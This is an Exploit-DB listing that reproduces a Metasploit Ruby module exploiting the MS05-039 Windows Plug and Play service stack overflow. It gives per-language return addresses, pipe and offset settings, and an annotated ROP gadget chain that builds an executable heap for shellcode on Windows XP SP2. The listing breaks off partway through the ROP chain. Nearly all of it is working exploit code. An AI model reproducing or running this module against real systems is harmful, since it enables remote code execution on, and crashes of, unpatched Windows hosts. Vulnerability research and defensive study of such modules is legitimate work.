Exploit-DB #16365
Description: Microsoft Plug and Play Service - Overflow (MS05-039) (Metasploit)
Type: dos
Platform: windows
Date: 2010-08-30
Author: Metasploit

Exploit:
##
# $Id: ms05_039_pnp.rb 10190 2010-08-30 20:40:05Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Plug and Play Service Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Windows Plug
				and Play service. This vulnerability can be exploited on
				Windows 2000 without a valid user account.

				NOTE: Since the PnP service runs inside the service.exe process, a failed
				exploit attempt will cause the system to automatically reboot.
			},
			'Author'         => [ 'hdm', 'cazz' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10190 $',
			'References'     =>
				[
					[ 'CVE', '2005-1983' ],
					[ 'OSVDB', '18605' ],
					[ 'BID', '14513' ],
					[ 'MSB', 'MS05-039' ],
					[ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							# -ws2ord XXX?
						},
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
						{
							'Ret'      => 0x767a38f6, # umpnpmgr.dll
						},
					],
					[
						'Windows 2000 SP4 French',
						{
							'Ret'      => 0x767438f6, # French target by ExaProbe <fmourron@exaprobe.com>
						},
					],
					[
						'Windows 2000 SP4 Spanish',
						{
							'Ret'      => 0x767738f6, # umpnpmgr.dll
						},
					],
					[
						'Windows 2000 SP4 English/French/German/Dutch',
						{
							'Ret'      => 0x01013C79, # [Pita] [Houmous] <pita@mail.com>
						},
					],
					[
						'Windows 2000 SP0-SP4 German',
						{
							'Ret'      => 0x767338f6, # German target by Michael Thumann <mthumann@ernw.de>
						},
					],
					[
						'Windows 2000 SP0-SP4 Italian',
						{
							'Ret'      => 0x7677366f, # acaro <acaro@jervus.it>
						},
					],
					[
						'Windows XP SP1 English',
						{
							'Ret'      => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106
							'Pipe'     => 'ntsvcs',
							'Offset'   => 16,
						}
					],
					# NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
					# the vulnerable functionality.
					[
						'Windows XP SP2 English (Requires Admin)',
						# SafeSEH enabled, DEP AlwaysOn
						{
							#'Ret'       => 0x41424344,
							'Ret'       => 0x758d2bb3,  # pop eax / ret 0x8
							'Pipe'      => 'ntsvcs',
							'PtrToZero' => 0x758c0170,  # PE data of umpnpmgr.dll v5.1.2600.2180
							'Offset'    => 72,
							'EspOffset' => 108,
							'RopStack'  =>
								# All addresses are from umpnpmgr.dll v5.2.3790.1830
								[
									#
									# Step 1. Allocate an executable heap with HeapCreate
									#
									# Resolve HeapCreate from import
									0x758c1148,            # pointer to HeapCreate import
									0x758c2950,            # mov eax, [eax] / pop ebp / ret 0x8
									0x41414141,            # scratch
									0x41414141,            # scratch
									#0x758da008,            # becomes ebp (something writable)
									0x758da1c8-0xc,        # becomes ebp (writable, used later)

									# Call HeapCreate
									0x758cb728,            # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc
									0x41414141,            # scratch
									0x41414141,            # scratch
									0x01040110,            # flOptions (gets & with 0x40005)
									0x01010101,
									0x01010101,
									0x758ce552,            # becomes edi - pop edi,esi / ret
									0x758cdd7e,            # becomes esi - pop esi,ebx,ebp / ret 0x4
									0x41414141,            # becomes ebx
									0x41414141,            # becomes ebp

									# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
									0x758d45f3,            # or eax,0x8000 / pop ebp / ret 0x4
									0x41414141,            # scratch
									0x41414141,            # scratch
									0x41414141,            # scratch
									0x41414141,            # becomes ebp

									# save eax to ebx
									0x758ce0d5,            # push eax / call esi
									0x41414141,            # scratch
									0x758da008+0x18,       # becomes ebp

									# Setup eax to load our saved stack pointer
									0x758d18db,            # pop eax / ret 0xc
									0x41414141,            # scratch
									0x758c524e,            # becomes eax - pop ebp / ret 0x8
									#0x758c2423,            # becomes eax - pop esi,ebp / ret 0x8

									# Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
									0x758c1281,            # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret
									0x41414141,            # scratch
									0x41414141,            # scratch
									0x41414141,            # scratch
									#0xcafebabe,            # becomes esi
									0x758da008-0x10,       # becomes ebp

									# Call lstrcpyW to copy shellcode into executable heap
									0x758c542e,            # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi
									0x41414141,            # scratch
									0x41414141,            # scratch

									# Skip the